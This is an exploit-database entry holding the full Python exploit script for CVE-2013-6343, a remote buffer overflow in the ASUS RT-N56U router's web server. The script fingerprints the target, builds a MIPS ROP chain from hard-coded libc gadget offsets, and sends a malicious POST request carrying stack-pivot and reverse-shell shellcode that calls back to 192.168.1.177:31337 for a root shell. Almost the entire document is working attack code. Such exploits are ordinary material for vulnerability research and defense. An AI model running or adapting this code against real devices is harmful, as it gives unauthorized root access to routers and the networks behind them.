发布 2014-01-19 漏洞条目

ASUS RT-N56U – Remote Buffer Overflow (ROP)

Exploit Source

#!/usr/bin/env python

from time import sleep

from sys import exit

import urllib2, signal, struct, base64, socket, ssl

# [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name

# [*] Discovered and Reported: October 2013

# [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE

# [*] Contact: Twitter - @rootHak42

# [*] Software Vendor: http://asus.com

# [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/

# [*] Software: httpd (Listens on TCP/80 and TCP/443)

# [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)

# [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343

# [*] Overview:

# Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install

# supplemental applications. This install process is handled by the routers web server,

# and is susceptible to multiple Buffer Overflow attacks.

# Vulnerable Web Page: APP_Installation.asp

# Vulnerable HTML Parameters: apps_name, apps_flag

# Vulneralbe Source File: web.c of httpd code

# *Firmware versions prior to the tested version were vulnerable to this attack.

def fingerPrint(host, port, netSock):

fprint = ["RT-N56U"]

found = None

print " [*] Preparing to fingerprint the server."

try:

print " [*] Connecting to %s on port %d." % (host, port)

netSock.connect((host, port))

except Exception as error:

print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)

exit(0)

try:

print " [*] Sending fingerprint request."

netSock.send("HEAD / HTTP/1.1\r\n\r\n")

netData = netSock.recv(1024)

except Exception as error:

print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)

exit(0)

try:

print " [*] Closing network socket.\n"

netSock.close()

except Exception as error:

print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)

for item in fprint:

if item in netData:

print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item

sleep(1)

found = item

if found == None:

print " [!!!] Server banner doesn't match available targets. [!!!]\n"

sleep(1)

exit(0)

else:

return found

def targURL():

while True:

URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>")

if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://":

return URL.lower()

else:

print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n"

sleep(1)

def creds():

while True:

User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>")

Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>")

if len(User) != 0:

return User, Pass

else:

print "\n [!!!] Username cant be null [!!!]\n"

sleep(1)

def basicAuth():

auth = None

while auth != "yes" and auth != "no":

auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>")

if auth.lower() == "yes":

print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n"

sleep(1)

User, Pass = creds()

return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "")

elif auth.lower() == "no":

print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n"

sleep(1)

return 0

else:

print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth

sleep(1)

def sigHandle(signum, frm): # Signal handler

print "\n\n[!!!] Cleaning up the exploit... [!!!]\n"

sleep(1)

exit(0)

def main():

print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name

[*] Discovered and Reported: October 2013

[*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE

[*] Contact: Twitter - @rootHak42

[*] Software Vendor: http://asus.com

[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/

[*] Software: httpd (Listens on TCP/80 and TCP/443)

[*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)

[*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n"""

signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c

target = targURL()

try:

print "\n [*] Creating network socket"

netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if target[0:5] == "https":

host = target[8:]

port = 443

print " [*] Preparing SSL/TLS support."

https_netSock = ssl.wrap_socket(netSock)

finger = fingerPrint(host, port, https_netSock)

else:

host = target[7:]

port = 80

finger = fingerPrint(host, port, netSock)

except Exception as error:

print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)

exit(0)

auth = basicAuth()

junk = "\x42" * 109

link_nop = "2Aa3"

#Base address of ld_uClibc and libc in httpd address space

ld_uClibcBase = 0x2aaa8000

libcBaseAddr = 0x2ab5f000

#Rop Chain

#<chown+68>: move v0,s0 -> sched_yield()

#<chown+72>: lw ra,28(sp) -> Rop2

#<chown+76>: lw s0,24(sp)

#<chown+80>: jr ra

#<chown+84>: addiu sp,sp,32

saved_ra1 = struct.pack("<L", libcBaseAddr + 0x73f4)

#<_dl_runtime_pltresolve+68>: lw ra,36(sp) -> Rop 3

#<_dl_runtime_pltresolve+72>: lw a0,16(sp)

#<_dl_runtime_pltresolve+76>: lw a1,20(sp)

#<_dl_runtime_pltresolve+80>: lw a2,24(sp)

#<_dl_runtime_pltresolve+84>: lw a3,28(sp)

#<_dl_runtime_pltresolve+88>: addiu sp,sp,40

#<_dl_runtime_pltresolve+92>: move t9,v0

#<_dl_runtime_pltresolve+96>: jr t9 -> jump sched_yield()

#<_dl_runtime_pltresolve+100>: nop

saved_ra2 = struct.pack("<L", ld_uClibcBase + 0x4e94)

#<setrlimit64+144>: addiu a1,sp,24 -> ptr to stack

#<setrlimit64+148>: lw gp,16(sp)

#<setrlimit64+152>: lw ra,32(sp) -> Rop 4

#<setrlimit64+156>: jr ra -> jump Rop 4

#<setrlimit64+160>: addiu sp,sp,40

saved_ra3 = struct.pack("<L", libcBaseAddr + 0x9ce0)

#move t9,a1 -> ptr to jalr sp on stack

#addiu a0,a0,56

#jr t9 -> jump to stack

#move a1,a2

saved_ra4 = struct.pack("<L", libcBaseAddr + 0x308fc)

#sched_yield()

sch_yield_s0 = struct.pack("<L", libcBaseAddr + 0x94b0)

#Stage 1 Shellcode

jalr_sp = "\x09\xf8\xa0\x03"

#Stage 2 Shellcode (Stack Pivot) by Jacob Holcomb of ISE

stg2_SC = "\x2c\x08\xbd\x27"# addiu sp, sp, 2092

stg2_SC += "\x09\xf8\xa0\x03"# jalr sp

stg2_SC += "\x32\x41\x61"#filler for link (branch delay)

#Stage 3 Shellcode

#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE

#Connects on 192.168.1.177:31337

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"

stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"

stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"

stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"

stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"

stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"

stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"

stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"

stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"

stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"

stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"

stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

payload = junk + sch_yield_s0 + junk[0:12] + saved_ra1 + junk[0:32]

payload += saved_ra2 + junk[0:36] + saved_ra3 + junk[0:24] + jalr_sp

payload += link_nop + saved_ra4 + junk[0:4] + stg2_SC

postData = "apps_action=install&apps_path=&apps_name=%s&apps_flag=sdb1" % payload

try:

print "\n [*] Preparing the malicious web request."

httpRequest = urllib2.Request("%s/APP_Installation.asp" % target, data = postData)

httpRequest.add_header("Cookie", "hwaddr=" + junk[0:35] + stg3_SC + "\x42" * (265 - len(stg3_SC)))

if auth != 0:

httpRequest.add_header("Authorization", "Basic %s" % auth)

print " [*] Successfully built HTTP POST request."

except Exception as error:

print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)

exit(0)

try:

print """ [*] Preparing to send Evil PAYLoAd to %s on port %d!\n [*] Payload Length: %d

[*] Waiting...""" % (host, port, len(payload))

sploit = urllib2.urlopen(httpRequest, None, 6)

if sploit.getcode() == 200:

print " [*] Server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!"

else:

print " [*] Server Response: HTTP %d. Something went wrong!" % sploit.getcode()

except(urllib2.URLError) as error:

print "\n [!!!] Web request error! %s %s [!!!]\n\n" % (type(error), error)

exit(0)

except Exception as error:

print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)

exit(0)

finally:

print " [*] %s exploit code has finished.\n" % finger

if __name__ == "__main__":

main()

作者: Jacob Holcomb
日期: 2014-01-19
类别: remote
平台: hardware

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